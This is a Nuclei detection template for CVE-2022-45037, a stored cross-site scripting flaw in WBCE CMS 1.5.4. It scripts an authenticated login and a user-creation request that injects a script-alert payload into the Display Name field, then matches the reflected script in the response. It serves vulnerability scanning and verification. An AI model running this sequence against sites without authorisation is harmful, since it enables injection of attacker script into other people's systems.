nuclei-templates/http/cves/2022/CVE-2022-45037.yaml

103 lines
2.9 KiB
YAML

id: CVE-2022-45037
info:
name: WBCE CMS v1.5.4 - Cross Site Scripting (Stored)
author: theamanrawat
severity: medium
description: |
A cross-site scripting (XSS) vulnerability in /admin/users/index.php of WBCE CMS v1.5.4 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Display Name field.
reference:
- https://github.com/WBCE/WBCE_CMS
- https://shimo.im/docs/dPkpKPQEjXfvYoqO/read
- https://nvd.nist.gov/vuln/detail/CVE-2022-45037
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
cvss-score: 5.4
cve-id: CVE-2022-45037
cwe-id: CWE-79
epss-score: 0.00077
cpe: cpe:2.3:a:wbce:wbce_cms:1.5.4:*:*:*:*:*:*:*
metadata:
max-request: 5
verified: true
vendor: wbce
product: wbce_cms
tags: cve,cve2022,xss,wbce,cms,authenticated
http:
- raw:
- |
GET /admin/login/index.php HTTP/1.1
Host: {{Hostname}}
- |
POST /admin/login/index.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
url=&username_fieldname={{username_fieldname}}&password_fieldname={{password_fieldname}}&{{username_fieldname}}={{username}}&{{password_fieldname}}={{password}}&submit=Login
- |
GET /admin/users/index.php HTTP/1.1
Host: {{Hostname}}
- |
POST /admin/users/index.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
formtoken={{formtoken}}&user_id=&username_fieldname={{username_fieldname_2}}&{{username_fieldname_2}}=test-{{randstr}}&password={{randstr}}&password2=&display_name=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&email={{randstr}}%40gmail.com&home_folder=&groups%5B%5D=1&active%5B%5D=1&submit=
- |
GET /admin/users/ HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
matchers-condition: and
matchers:
- type: word
part: body_5
words:
- "<script>alert(document.domain)</script>"
- "SESSION_TIMEOUT"
condition: and
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200
extractors:
- type: regex
name: username_fieldname
group: 1
regex:
- 'name="username_fieldname" value="(.*)"'
internal: true
part: body
- type: regex
name: password_fieldname
group: 1
regex:
- 'name="password_fieldname" value="(.*)"'
internal: true
part: body
- type: regex
name: formtoken
group: 1
regex:
- 'name="formtoken" value="(.*)"'
internal: true
part: body
- type: regex
name: username_fieldname_2
group: 1
regex:
- 'name="username_fieldname" value="(.*)"'
internal: true
part: body